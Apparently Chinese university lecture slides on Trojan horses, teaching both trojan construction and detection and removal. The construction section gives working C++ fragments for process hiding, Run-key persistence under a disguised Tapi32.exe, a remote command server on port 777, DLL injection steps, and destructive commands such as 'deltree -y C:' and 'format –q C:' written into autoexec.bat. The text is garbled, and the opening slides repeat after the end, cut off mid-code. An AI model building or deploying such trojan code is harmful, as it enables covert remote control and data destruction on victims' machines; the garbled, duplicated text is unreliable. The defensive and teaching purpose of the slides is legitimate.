一种特殊的病毒 —— 特洛伊木马
( Trojan horse)
上海交通大学信息安全工程学院
,特洛伊木马,电影图片本章的学习目标
掌握特洛伊木马的概念
了解木马技术的发展趋势
掌握木马开发实例
理解木马的关键技术
掌握木马攻击的方法
掌握木马防范方法章节主要内容
1 木马的概述
2 木马程序的开发实例
3 木马程序的关键技术
4 木马攻击的清除及其相关经验
5 木马检测及清除代码
特洛伊木马 (Trojan Horse)
– 是一种与远程计算机之间建立起连接,使远程计算机能够通过网络控制用户计算机系统并且可能造成用户的信息损失、系统损坏甚至瘫痪的程序。
木马的组成
– 硬件:控制端、服务端,Internet
– 软件:控制端程序、木马程序、木马配置程序
– 连接:控制、服务端 IP,控制、服务端 Port
流行木马的基本特征
1、隐蔽性是其首要的特征
– 木马和远程控制软件的最主要区别
– 不产生图标
– 不出现在任务管理器中。
2、它具有自动运行性
– 启动文件、启动组、注册表
3、木马程序具有欺骗性
名字方式:字母,l‖与数字,1‖、字母,o‖与数字,0‖
相同文件名但不同路径
常用图标,Zip
4、具备自动恢复功能 (高级技术 )
5、能自动打开特别的端口
6、功能的特殊性
– 搜索缓存中的口令、设置口令、扫描目标机器的 IP地址、
进行键盘记录、远程注册表的操作、以及锁定鼠标等功能
7、黑客组织趋于公开化木马的分类
1、远程控制型木马
– BO和冰河
2、发送密码型木马
3、键盘纪录型木马
4、破坏型木马
5,FTP型木马远程控制、木马与病毒
木马和控制软件
– 目的不同
– 有些木马具有控制软件的所有功能
– 是否隐藏
木马和普通病毒
– 传播性(木马不如病毒)
– 两者相互融合
木马程序 YAI采用了病毒技术
,红色代码”病毒已经具有木马的远程控制功能木马的发展方向
1、跨平台性
2、模块化设计
3、更新更强的感染模式
4、即时通知
5、更强更多的功能
2 木马程序的开发实例
编程语言选择
以 CSocket为基类生成 CMySocket类。
CMySocket类的功能是用来使本程序变成一个服务器程序。
自动隐藏
– // Win9x隐藏技术
– DWORD dwVersion = GetVersion();
– // 得到操作系统的版本号
– if (dwVersion >= 0x80000000)
– // 操作系统是 Win9x,不是 WinNt
– {
– typedef DWORD (CALLBACK*
LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
– //定义 RegisterServiceProcess() 函数的原型
– HINSTANCE hDLL;
– LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
– hDLL = LoadLibrary("KERNEL32.dll");
– //加载 RegisterServiceProcess()函数所在的动态链接库 KERNEL32.DLL
– lpRegisterServiceProcess
=(LPREGISTERSERVICEPROCESS)GetProcAddress(
– hDLL,"RegisterServiceProcess");
– //得到 RegisterServiceProcess()函数的地址
– lpRegisterServiceProcess(GetCurrentProcessId(),1);
– //执行 RegisterServiceProcess()函数,隐藏本进程
– FreeLibrary(hDLL);
– //卸载动态链接库
– }
用 RegisterServiceProcess函数实现后台服务进程。
未公开核心函数
Win NT \ 2K下怎么实现?
自动加载
木马的第一次执行
如何实现第一次以后的自动加载?
– 注册表
代码功能:
– HKLM\\Software\\Microsoft\\Windows\\Current
Version\\Run\\
– %System%\\Tapi32
CopyFile( commandline,SystemPath+"\\Tapi32.exe",
FALSE);
– //将自己拷贝到 %System%目录下,并改名为 Tapi32.exe,伪装起来
registry-
>Open(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\
Windows\\CurrentVersion\\Run");
registry->QueryValue(TempPath,"crossbow",
&lRegLength);
registry->SetValue(SystemPath+"\\Tapi32.exe",
"crossbow" );
Server端功能 —— 命令接收
接下来就是启动 Server端的 Socket来接收客户端的命令。
Port 777
核心代码:
– pSocket->Receive( lpBuf,1000);
– //接收客户端数据
– if(strnicmp(lpBuf,"CMD:",4) == 0){
– ExecuteCommand( lpBuf,FALSE);
– }//执行远端应用程序
– else if(strnicmp(lpBuf,"!SHUT",5) == 0){
– SendText( "Exit program!",pSocket );
– OnExit();
– }//退出木马程序
将要实现的功能,CMD 执行应用程序
!SHUT 退出木马
FILEGET 获得远端文件
EDITCONF 编辑配置文件
LIST 列目录
VIEW 察看文件内容
CDOPEN 关 CD
CDCLOSE 开 CD
REBOOT 重启远端机器
Server端功能 —— 修改配置
Autoexec.bat和 Config.sys
代码:
– _chmod("c:\\autoexec.bat",S_IREAD |
S_IWRITE);
– _chmod("c:\\config.sys",S_IREAD |
S_IWRITE);
– fwrite(content,sizeof(char),strlen(content),fp);
– //写入添加的语句,例如 deltree -y C:或者
format –q C:
Server端功能 —— 实现 list命令
CFileFind finder;
BOOL bWorking = finder.FindFile("*.*");
while (bWorking)
//循环得到下一层文件或目录
{
bWorking = finder.FindNextFile();
if ( finder.IsDots() || finder.IsDirectory() ){
strResult = "Dire,";
}else{
strResult = "File,";
}
strResult += finder.GetFileName();
strResult += "\n";
}
SendText( strResult,pSocket );
//返回 Return_Text变量的内容
Server端功能 —— 实现 View命令
int Read_Num=fread(temp_content,1,300,fp);
//从目标文件中读入前 300个字符
while(Read_Num==300)
{
strResult += (CString)temp_content;
//strResult的内容加上刚才的字符
for(int i=0;i<300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
//重复
};
Server端功能 —— 操作硬件
mciSendString( ―set cdaudio door open‖,
NULL,0,NULL) ;
//弹出光驱的托盘
mciSendString( "Set cdaudio door closed
wait",NULL,0,NULL) ;
//收入光驱的托盘
Server端功能 —— 远程 reboot
//Win9x重启
ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
//操作系统是 WinNt
OpenProcessToken( GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken);
LookupPrivilegeValue(NULL,
SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&tkp,
0,(PTOKEN_PRIVILEGES)NULL,0);
ExitWindowsEx(EWX_REBOOT | EWX_FORCE,0);
Client端功能
客户端的任务仅仅是发送命令和接收反馈信息而以。
首先,在 Visual Studio环境下新建一个基于
Dialog的应用程序;
接着,在这个窗体上放置一些控件。这些控件用于输入 IP,Port,命令以及执行某些动作。
最后,添加 CCommandSocket类(其基类是
CSocket类)到当前工程,该类用于和 Server端通讯。
发送命令的代码如下:
m_ptrComSocket->Send((void *)m_msg,
m_msg.GetLength() );
从服务器端获取反馈信息
ReceiveResult(m_msg);
断开 Socket通讯的代码如下:
m_ptrComSocket->Close();
代码及演示
下列问题就值得仔细考虑:
– 首先是程序的大小问题;
– 还有启动方式的选择;
– 木马的功能还可以大大扩充;
– 杀掉防火墙和杀毒软件;
– 针对来自反汇编工具的威胁;
– 自动卸载等。
3 木马程序的关键技术
木马程序技术发展的 4个阶段:
– 第一阶段主要实现简单的密码窃取、发送等功能,没有什么特别之处。
– 第二阶段在技术上有了很大的进步,主要体现在隐藏、控制等方面。国内冰河可以说是这个阶段的典型代表之一。
– 第三阶段在数据传递技术上做了不小的改进,出现了基于 ICMP协议的木马,这种木马利用 ICMP协议的畸形报文传递数据,增加了查杀的难度。
– 第四阶段在进程隐藏方面做了非常大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术嵌入 DLL线程,或者挂接
PSAPI实现木马程序的隐藏。即使在 Windows NT/2K下,这些技术都达到了良好的隐藏效果。
– 相信,第五代木马的技术更加先进。
Socket技术客户机请求响应进程通讯设施服务器请求响应服务器
socke t( )
bind( )
r e a df r om( )
sendto( )
阻塞,等待客户数据处理服务请求
socke t( )
bind( )
sendto( )
r e a df r om( )
客户机服务请求服务应答无连接套接 应用程序时序图
c los e ( ) c los e ( )
服务器
socket( )
bi nd( )
li st en( )
阻塞,等待客户数据处理服务请求
socket( )
connec t( )
write( )
客户机请求数据应答数据面向连接套接 应用程序时序图
re ad( )
re ad( )
ac ce pt ( )
write( )
建立连接
close( ) close( )
重要的系统文件
win.ini文件中的启动加载项,[windwos]段中有如下加载项:
– run=
– Load=
system.ini中的启动加载项:在 [BOOT]子项中的,Shell‖项:
– shell=
修改注册表
HKEY_CLASSES_ROOT:此处存储的信息可以确保当使用 Windows资源管理器打开文件时,将使用正确的应用程序打开对应的文件类型。
HKEY_CURRENT_USER:存放当前登录用户的有关信息。用户文件夹、屏幕颜色和“控制面板”设置存储在此处。该信息被称为用户配置文件。
HKEY_LOCAL_MACHINE:包含针对该计算机(对于任何用户)的配置信息。
HKEY_USERS:存放计算机上所有用户的配置文件。
HKEY_CURRENT_CONFIG:包含本地计算机在系统启动时所用的硬件配置文件信息。
HKEY_DYN_DATA:记录系统运行时刻的状态。
(Run),
(RunOnce),
(RunOnceEx),
(RunServices),
(RunServicesOnce)
20多个 API函数修改文件关联
当你打开了一个已修改了打开关联的文件时,木马也就开始了它的运作。
选择文件格式中的“打开”、“编辑”、
“打印”项目。
例如冰河木马病毒
– [HKEY_CLASSES_ROOT\txtfile\shell\open\co
mmand]中的键值,c:\windows\notepad.exe
%1‖,改为,sysexplr.exe %1‖。
远程屏幕抓取
如果键盘和鼠标事件记录不能满意时,
需要抓取被控制端屏幕,形成一个位图文件,然后把该文件发送到控制端计算机显示出来。
输入设备控制
通过网络控制目标机的鼠标和键盘,以达到模拟鼠标和键盘的功能。
使用技术,Keybd_event,mouse_event
//模拟 A键按键过程
keybd_event(65,0,0,0);
keybd_event(65,0,KEYEVENTF_KEYUP,0
);
//模拟按下左键
GetCursorPos(&lpPoint);
SetCursorPos(lpPoint.x,lpPoint.y);
mouse_event(MOUSEEVENTF_LEFTDO
WN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,
0,0,0,0);
远程文件管理
操作目标机文件的方式通常有两种:
– 一种是共享目标机的硬盘,进行任意的文件操作;
– 另一种是把自己的计算机配置为 FTP( File Transfer
Protocol,文件传输协议)服务器。
使用函数
– CInternetSession
– GetFtpConnection
– GetFile
– PutFile
共享硬盘数据
Windows 2000/NT/XP,
[HKEY_LOCAL_MACHINE\SYSTEM\Control
Set001\Services\lanmanserver\Shares]
– Windows 9x:
[HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Network\LanMan]
– "Flags" //类型
– "Path" //目录
– "Remark" //备注
– "Type"
– "Parm1enc"
– "Parm2enc"
隐藏技术 ——反弹式木马技术
定义:
– 利用防火墙对内部发起的连接请求无条件信任的特点,假冒是系统的合法网络请求来取得对外的端口,再通过某些方式连接到木马的客户端,从而窃取用户计算机的资料同时遥控计算机本身。
反弹式木马访问客户端的 80端口,防火墙无法限制。
例如,“网络神偷”
防范:使用个人防火墙,其采用独特的“内墙”方式应用程序访问网络规则。
隐藏技术 ——用 ICMP方法隐藏连接
TCP UDP木马的弱点:等待和运行的过程中,始终有一个和外界联系的端口打开着。
原理:
– 由于 ICMP报文是由系统内核或进程直接处理而不是通过端口,这就给木马一个摆脱端口的绝好机会。
– 木马将自己伪装成一个 Ping的进程,系统就会将
ICMP_ECHOREPLY( Ping的回包)的监听、处理权交给木马进程。
– 一旦事先约定好的 ICMP_ECHOREPLY包出现(可以判断包大小、
ICMP_SEQ等特征),木马就会接受、分析并从报文中解码出命令和数据。
– 即使防火墙过滤 ICMP报文,一般也不过率 ICMP_ECHOREPLY包,
否则就不能进行 Ping操作了。因此,具有对于防火墙和网关的穿透能力。
隐藏技术 ——隐藏端口
为了隐藏端口,采用两种思路:寄生和潜伏
寄生就是找一个已经打开的端口,寄生其上,平时只是监听,遇到特殊的指令就进行解释执行。
潜伏是说使用 IP协议族中的其它协议而不是 TCP
或 UDP来进行通讯,从而瞒过 Netstat和端口扫描软件。一种比较常见的潜伏手段是使用 ICMP协议。
其他方法:对网卡或 Modem进行底层的编程。
隐藏技术 ——NT进程的隐藏
进程 和 端口 联系在一起的方法很常见。因此,需要隐藏进程来达到隐藏木马的目的。
实现进程隐藏有两种思路:
– 第一是让系统管理员看不见(或者视而不见)
你的进程;
– 第二是不使用进程。
能否使用第一种方式?
在 Windows中有多种方法能够看到进程的存在:
– PSAPI( Process Status API);
– PDH( Performance Data Helper);
– ToolHelp API。
如果我们能够欺骗用户和入侵检测软件用来查看进程的函数(例如截获相应的 API调用,替换返回的数据),我们就完全能实现进程隐藏。
但是存在两个难题:
– 一来我们并不知道用户和入侵软件使用的是什么方法来查看进程 列表;
– 二来如果我们有权限和技术实现这样的欺骗,我们就一定能使用其它的方法更容易的实现进程的隐藏。
使用第二种方式最流行。
DLL是 Windows系统的另一种“可执行文件”。 DLL文件是 Windows的基础,因为所有的 API函数都是在 DLL中实现的。 DLL文件没有程序逻辑,是由多个功能函数构成,
它并不能独立运行,一般都是由进程加载并调用的。
假设我们编写了一个木马 DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马 DLL,如果那个进程是可信进程,(例如资源管理器 Explorer.exe,没人会怀疑它是木马吧?)那么我们编写的 DLL作为那个进程的一部分,
也将成为被信赖的一员而为所欲为。
用 DLL实现木马功能用 DLL实现木马功能,然后,用其他程序启动该 DLL.
有三种方式:
– 最简单的方式 —— RUNDLL32
– 特洛伊 DLL
– 线程插入技术
最简单的方式 —— RUNDLL32
– Rundll32 DllFileName FuncName
– Rundll32.exe MyDll.dll MyFunc
– 程序演示 (参见,..\othercode\testdll)
比较高级的方式-特洛伊 DLL
– 特洛伊 DLL(欺骗 DLL)的工作原理是使用欺骗 DLL替换常用的
DLL文件,通过函数转发器将正常的调用转发给原 DLL,截获并处理特定的消息。
函数转发器 forward的认识。
– Visual Studio 7命令提示符 >dumpBin -Exports
c:\windows\system32\Kernel32.dll | more
– 演示
程序实现
– // Function forwarders to functions in DllWork
– #pragma comment(linker,
"/export:ForwardFunc=Kernel32.HeapCreate")
– 演示(参见,..\othercode\testdll源代码)
实现描述
– 我们知道 WINDOWS的 Socket1.x的函数都是存放在 wsock32.dll中的,那么我们自己写一个
wsock32.dll文件,替换掉原先的 wsock32.dll
(将原先的 DLL文件重命名为 wsockold.dll)我们的 wsock32.dll只做两件事,一是如果遇到不认识的调用,就直接转发给 wsockold.dll(使用函数转发器 forward);二是遇到特殊的请求
(事先约定的)就解码并处理。
特洛伊 DLL的弱点:
– system32目录下有一个 dllcache的目录,这个目录中存放着大量的 DLL文件,一旦操作系统发现被保护的 DLL
文件被篡改(数字签名技术),它就会自动从 dllcache
中恢复这个文件。
– 有些方法可以绕过 dllcache的保护:
先更改 dllcache目录中的备份再修改 DLL文件
利用 KnownDLLs键值更改 DLL的默认启动路径等
– 同时特洛伊 DLL方法本身也有一些漏洞(例如修复安装、
安装补丁、升级系统、检查数字签名等方法都有可能导致特洛伊 DLL失效),所以这个方法也不能算是 DLL
木马的最优选择。
最高级方式 —— 动态嵌入技术
– DLL木马的最高境界是动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。 多种嵌入方式:窗口 Hook、挂接 API、远程线程。
隐藏技术 ——远程线程技术
远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。
通过 CreateRemoteThread也同样可以在另一个进程内创建新线程,新线程同样可以共享远程进程的地址空间。
HANDLE CreateRemoteThread(
– HANDLE hProcess,
– PSECURITY_ATTRIBUTES psa,
– DWORD dwStackSize,
– PTHREAD_START_ROUTINE pfnStartAddr,
– PVOID pvParam,
– DWORD fdwCreate,
– PDWORD pdwThreadId);
一个地址
DWORD WINAPI ThreadFunc(PVOID
pvParam);
HINSTANCE LoadLibrary(PCTSTR
pszLibFile);
两个函数非常类似
需解决的问题:
– 第一个问题,获取 LoadLibrary的实际地址。
– PTHREAD_START_ROUTINE pfnThreadRtn =
(PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32"
)),"LoadLibraryA");
– 第二个问题,把 D L L路径名字符串放入宿主进程。使用:
VirtualAllocEx,VirtualFreeEx,ReadProcessMemory,
WriteProcessMemory 等函数。
操作步骤做一个归纳:
1) 使用 Vi r t u a l A l l o c E x函数,分配远程进程的地址空间中的内存。
2) 使用 Wr i t e P r o c e s s M e m o r y函数,将 D L L的路径名拷贝到第一个步骤中已经分配的内存中。
3) 使用 G e t P r o c A d d r e s s函数,获取 L o a d L i b r
a r y A或 L o a d L i b r a t y W函数的实地址(在 K e r n e
l 3 2,d l l中)。
4) 使用 C r e a t e R e m o t e T h r e a d函数,在远程进程中创建一个线程,它调用正确的 L o a d L i b r a r y函数,
为它传递第一个步骤中分配的内存的地址。
5) 使用 Vi r t u a l F r e e E x函数,释放第一个步骤中分配的内存。
6) 使用 G e t P r o c A d d r e s s函数,获得 F r e
e L i b r a r y函数的实地址(在 K e r n e l 3 2,d l
l中)。
7) 使用 C r e a t e R e m o t e T h r e a d函数,在远程进程中创建一个线程,它调用 F r e e L i b r a
r y函数,传递远程 D L L的 H I N S TA N C E。
看代码及演示(参见,,.\ othercode\injlib 和
Imgwalk)
服务器端程序的包装与加密
一个试验,
text.txt,其内容为,This is for test!!‖
– C:\>type text.txt>>Test.exe
– 运行 Test.exe
– 演示(参见,..\othercoe\bindexe)
木马会把一些配置信息放在 exe文件的最后。
例如,冰河木马
4 木马攻击的方法及相关经验
1 木马病毒的常用骗术
2 全面防治木马病毒
3 几种常见木马病毒的杀除方法
4 已知木马病毒的端口列表木马病毒的常用骗术
1.修改批处理
– Autoexec.bat(自动批处理,在引导系统时执行 )
– Winstart.bat(在启动 GUI图形界面环境时执行 )
– Dosstart.bat(在进入 MS-DOS方式时执行 )
2.修改系统配置
– System.ini
– Win.ini
3.借助自动运行功能
– 根目录下新建一个 Autorun.inf
– [autorun]
– open=Notepad.exe
4.通过注册表中的 Run来启动
5.通过文件关联启动
6.通过 API HOOK启动
– 利用经常使用的 API启动木马
7.通过 VXD启动
– 写成 Vxd并写入 [HKEY_
LOCAL_MACHINE\System\CurrentControlSet\Servic
es\VxD]
8.通过浏览网页启动
– 利用 MIME的漏洞。
9.利用 Java applet
10.利用系统自动运行的程序
– 例如,ScanDisk等程序,在一定情况下,系统会自动启动它们。
全面防治木马病毒
1 木马中毒现象
2 发现和杀除木马的方法
– 进程 /内存模块查看器
在 Windows下查看进程 /内存模块的方法很多,有 PSAPI,PDH和 ToolHelper
API。
http://www.patching.net/shotgun/ps.zip
– 端口扫描(端口进程关联软件)
关联端口和进程的软件也是重要的工具之一,虽然 DLL木马隐藏在其他进程中,
但是多多少少会有一些异常,功能强大的 Fport就是一个优秀的进程端口关联软件,可以在以下地址下载到:
http://www.foundstone.com/rdlabs/termsofuse.php?filename=FPortNG.zip
– 嗅探器
嗅探器帮助我们发现异常的网络通讯,从而引起我们的警惕和关注,嗅探器的原理很简单,通过将网卡设为混杂模式就可以接受所有的 IP报文,嗅探程序可以从中选择值得关注的部分进行分析,剩下的无非是按照 RFC文档对协议进行解码。
代码及头文件,http://www.patching.net/shotgun/GUNiffer.zip
编译后的程序,http://www.patching.net/shotgun/GUNiffer.exe
– 检查及保护注册表
http://www.nttoolbox.com/public/tools/ntregmon.zip
– 查找文件
http://www.nttoolbox.com/public/tools/ntfilmon.zip
– 杀病毒软件
– 系统文件检查器
3 木马的预防措施
– 1,永远不要执行任何来历不明的软件或程序
– 2,永远不要相信你的邮箱不会收到垃圾和病毒
– 3,永远不要因为对方是你的好朋友就轻易执行他发过来的软件或程序。
– 4,千万不要随便留下你的个人资料。
– 5,千万不要轻易相信网络上认识的新朋友。
– 6,永远不要随便说别人的坏话,防止别人用木马报复你。
几种常见木马病毒的杀除方法
一,BO2000
– 查看注册表
[ HEKY_LOCAL_MACHINE\Software\Micros
oft\Windows\CurrentVersion\RunServicse]中是否存在 Umgr32.exe的键值。有则将其删除。
重新启动电脑,并将 \Windows\System中的
Umgr32.exe删除。
二,NetSpy(网络精灵)
国产木马,默认连接端口为 7306。在该版本中新添加了注册表编辑功能和浏览器监控功能,客户端现在可以不用 NetMonitor,通过 IE
或 Navigate就可以进行远程监控了。其强大之处丝毫不逊色于冰河和
BO2000!服务端程序被执行后,会在 C:\Windows\system目录下生成 netspy.exe文件。同时在注册表
[ HKEY_LOCAL_MACHINE\software\microsoft\windows\CurrentVe
rsion\Run]下建立键值 C:\windows\system\netspy.exe,用于在系统启动时自动加载运行。
清除方法:
1.进入 dos,在 C:\windows\system\目录下输入以下命令,del
netspy.exe 回车;
2.进入注册表
HKEY_LOCAL_MACHINE\Software\microsoft\windows\CurrentVersi
on\Run\,删除 Netspy.exe和 Spynotify.exe的键值即可安全清除
Netspy。
三,Happy99
此程序运行时,会在打开一个名为,Happy new year
1999‖的窗口,并出现美丽的烟花,它会复制到 Windows
主文件夹的 System目录下并更名为 Ska.exe,同时创建文件 Ska.dll,修改 Wsock32.dll,将修改前的文件备份为
Wsock32.ska,并修改注册表。另外,用户可以检查注册
[ HEKY_LOCAL_MACHINE\Softwre\Microsoft\Windows
\CurrentVersion\RunOnce]中有无键值 Ska.exe。有则将其删除,并删除 \Windows\System中的 Ska.exe和 Ska.dll
两个文件,将 Wsock32.ska更名为 Wscok32.dll。
四、冰河冰河标准版的服务器端程序为 G-server.exe,客户端程序为 G-client.exe,
默认连接端口为 7626。一旦运行 G-server,那么该程序就会在
C:\Windows\system目录下生成 Kernel32.exe和 sysexplr.exe并删除自身。
Kernel32.exe在系统启动时自动加载运行,sysexplr.exe和 TXT文件关联。即使你删除了 Kernel32.exe,但只要你打开 TXT文件,sysexplr.exe就会被激活,
它将再次生成 Kernel32.exe,于是冰河又回来了!这就是冰河屡删不止的原因。
清除方法:
用纯 DOS启动进入系统(以防木马的自动恢复),删除你安装的
windows下的 system\kernel32.exe和 system\sysexplr.exe两个木马文件,注意如果系统提示你不能删除它们,则因为木马程序自动设置了这两个文件的属性,我们只需要先改掉它们的隐藏、只读属性,就可以删除。
– 删除后,进入 windows系统进入注册表中,找到
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
和
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Services]两项,然后查找 kernel32.exe和 sysexplr.exe两个键值并删除。再找到
[HKEY_CLASSES_ROOT\txtfile\open\command],看在键值中是不是已改为
,sysexplr.exe%1‖,如是改回,notepad.exe %1‖。
五,Nethief(网络神偷 )
这是反弹端口型木马的典型代表。大多数的防火墙对于由外面连入本机的连接往往会进行非常严格的过滤,但是对于由本机连出的连接却疏于防范(当然也有的防火墙两方面都很严格)。于是,与一般的木马相反,反弹端口型木马的服务端 (被控制端 )使用主动端口,客户端 (控制端 )使用被动端口,当要建立连接时,由客户端通过 FTP
主页空间告诉服务端:“现在开始连接我吧!”,并进入监听状态,服务端收到通知后,就会开始连接客户端。为了隐蔽起见,客户端的监听端口一般开在 80,这样,即使用户使用端口扫描软件检查自己的端口,发现的也是类似,TCP服务端的 IP地址,1026 客户端的 IP地址,80 ESTABLISHED‖的情况,稍微疏忽一点你就会以为是自己在浏览网页。防火墙也会如此认为,大概没有哪个防火墙会不给用户向外连接 80端口吧。
清除方法:
1.网络神偷会在注册表
[ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Win
dows\CurrentVersion\Run]下建立键值,internet‖,其值为 "internet.exe /s",将键值删除;
2.删除其自启动程序
C:\WINDOWS\SYSTEM\INTERNET.EXE。
已知木马病毒的端口列表木马名称 端口 木马名称 端口
BO jammerkillahV 121 Remote Grab 7000
NukeNabber 139 NetMonitor 7300
Hackers Paradise 456 NetMonitor 1.x 7301
Stealth Spy 555 NetMonitor 2.x 7306
Phase0 555 NetMonitor 3.x 7307
NeTadmin 555 NetMonitor 4.x 7308
Satanz Backdoor 666 Qaz 7597
Attack FTP 666 ICQKiller 7789
AIMSpy 777 InCommand 9400
木马检测及清除实验
示例程序利用开放主机端口号和各个木马程序使用端口的对应关系,判断主机是否已中木马,中了何种木马(目前能查找一百余种),并能根据所中木马的类型,对其中的二十几种进行杀灭。此外,用户可自行追加数据库,增加能查找病毒的种类。
开始读取保存开放端口文件,判断中何木马是否能打开木马数据库文件
No
Yes
结束调用 netstat获得开放的端口,结果保存到文件此木马能否被杀灭调用函数杀除木马
Yes
No
关键数据结构本程序的数据文件 Trojan.txt使用了 TROJAN结构来保存木马的名称,对应打开端口号和查杀代码字段名称字段类型 字段说明
nPort 数字 该木马所使用的端口号。
TroName 字符串 该木马的名称。
nKillno 数字 该木马的查杀号,杀除函数调用。
pnext 指针 用于构成链表结构指针木马名称 木马使用特征端口号 查杀号在 Trojan.txt中,每行为一个木马项,格式为
使用系统调用查看有那些端口开放:
netstat -a >c:\\log.txt
返回格式
– Proto Local Address Foreign Address State
TCP truewar:epmap 0.0.0.0:0 LISTENING
TCP truewar:1025 0.0.0.0:0 LISTENING
TCP truewar:1028 0.0.0.0:0 LISTENING
TCP truewar:5000 0.0.0.0:0 LISTENING
UDP truewar:isakmp *:*
UDP truewar:1900 *:*
该方法存在问题:
无法应对隐藏端口消除木马进程的步骤
第一步:提升权限
– 提升本程序权限得目的是,使其能够杀除木马进程,主要是通过 AdjustTokenPrivileges函数来完成。
BOOL AdjustTokenPrivileges(
HANDLE TokenHandle,//用于修改权限的句炳
BOOL DisableAllPrivileges,//修改方式
PTOKEN_PRIVILEGES NewState,//修改后的值
DWORD BufferLength,//修改值的长度
PTOKEN_PRIVILEGES PreviousState,//修改前状态
PDWORD ReturnLength //返回长度
);
第二步:枚举进程,获得木马进程的进程号码。
– 首先通过 EnumProcesses函数来枚举系统中所有运行的进程。
– 当获得所有进程的进程号以后,枚举每一个进程所包含的模块,这里使用
EnumProcessModules函数:
– 通过返回的模块信息,我们可以利用
GetModuleFileNameEx来取得此模块调用文件的文件名。
第三步:终止木马进程。如果取得文件名和木马的名称一样,则调用
TerminateProcess函数终止木马进程。
第四步:清除木马文件。在终止木马的进程以后,就可以删除木马文件,删除注册表项和删除文件中的自启动项的操作了,
其中涉及到几个注册表操作函数。
RegOpenKeyEx:用来打开注册表项
RegQueryValueEx:用来查询特定注册表项中的键值
RegDeleteValue:当我们查找到的键名和其含有的键值与木马添加的内容一致时,就可以调用该函数删除此键
对于木马文件,调用 DeleteFile函数来删除。
代码( VC)及程序演示
( Trojan horse)
上海交通大学信息安全工程学院
,特洛伊木马,电影图片本章的学习目标
掌握特洛伊木马的概念
了解木马技术的发展趋势
掌握木马开发实例
理解木马的关键技术
掌握木马攻击的方法
掌握木马防范方法章节主要内容
1 木马的概述
2 木马程序的开发实例
3 木马程序的关键技术
4 木马攻击的清除及其相关经验
5 木马检测及清除代码
特洛伊木马 (Trojan Horse)
– 是一种与远程计算机之间建立起连接,使远程计算机能够通过网络控制用户计算机系统并且可能造成用户的信息损失、系统损坏甚至瘫痪的程序。
木马的组成
– 硬件:控制端、服务端,Internet
– 软件:控制端程序、木马程序、木马配置程序
– 连接:控制、服务端 IP,控制、服务端 Port
流行木马的基本特征
1、隐蔽性是其首要的特征
– 木马和远程控制软件的最主要区别
– 不产生图标
– 不出现在任务管理器中。
2、它具有自动运行性
– 启动文件、启动组、注册表
3、木马程序具有欺骗性
名字方式:字母,l‖与数字,1‖、字母,o‖与数字,0‖
相同文件名但不同路径
常用图标,Zip
4、具备自动恢复功能 (高级技术 )
5、能自动打开特别的端口
6、功能的特殊性
– 搜索缓存中的口令、设置口令、扫描目标机器的 IP地址、
进行键盘记录、远程注册表的操作、以及锁定鼠标等功能
7、黑客组织趋于公开化木马的分类
1、远程控制型木马
– BO和冰河
2、发送密码型木马
3、键盘纪录型木马
4、破坏型木马
5,FTP型木马远程控制、木马与病毒
木马和控制软件
– 目的不同
– 有些木马具有控制软件的所有功能
– 是否隐藏
木马和普通病毒
– 传播性(木马不如病毒)
– 两者相互融合
木马程序 YAI采用了病毒技术
,红色代码”病毒已经具有木马的远程控制功能木马的发展方向
1、跨平台性
2、模块化设计
3、更新更强的感染模式
4、即时通知
5、更强更多的功能
2 木马程序的开发实例
编程语言选择
以 CSocket为基类生成 CMySocket类。
CMySocket类的功能是用来使本程序变成一个服务器程序。
自动隐藏
– // Win9x隐藏技术
– DWORD dwVersion = GetVersion();
– // 得到操作系统的版本号
– if (dwVersion >= 0x80000000)
– // 操作系统是 Win9x,不是 WinNt
– {
– typedef DWORD (CALLBACK*
LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
– //定义 RegisterServiceProcess() 函数的原型
– HINSTANCE hDLL;
– LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
– hDLL = LoadLibrary("KERNEL32.dll");
– //加载 RegisterServiceProcess()函数所在的动态链接库 KERNEL32.DLL
– lpRegisterServiceProcess
=(LPREGISTERSERVICEPROCESS)GetProcAddress(
– hDLL,"RegisterServiceProcess");
– //得到 RegisterServiceProcess()函数的地址
– lpRegisterServiceProcess(GetCurrentProcessId(),1);
– //执行 RegisterServiceProcess()函数,隐藏本进程
– FreeLibrary(hDLL);
– //卸载动态链接库
– }
用 RegisterServiceProcess函数实现后台服务进程。
未公开核心函数
Win NT \ 2K下怎么实现?
自动加载
木马的第一次执行
如何实现第一次以后的自动加载?
– 注册表
代码功能:
– HKLM\\Software\\Microsoft\\Windows\\Current
Version\\Run\\
– %System%\\Tapi32
CopyFile( commandline,SystemPath+"\\Tapi32.exe",
FALSE);
– //将自己拷贝到 %System%目录下,并改名为 Tapi32.exe,伪装起来
registry-
>Open(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\
Windows\\CurrentVersion\\Run");
registry->QueryValue(TempPath,"crossbow",
&lRegLength);
registry->SetValue(SystemPath+"\\Tapi32.exe",
"crossbow" );
Server端功能 —— 命令接收
接下来就是启动 Server端的 Socket来接收客户端的命令。
Port 777
核心代码:
– pSocket->Receive( lpBuf,1000);
– //接收客户端数据
– if(strnicmp(lpBuf,"CMD:",4) == 0){
– ExecuteCommand( lpBuf,FALSE);
– }//执行远端应用程序
– else if(strnicmp(lpBuf,"!SHUT",5) == 0){
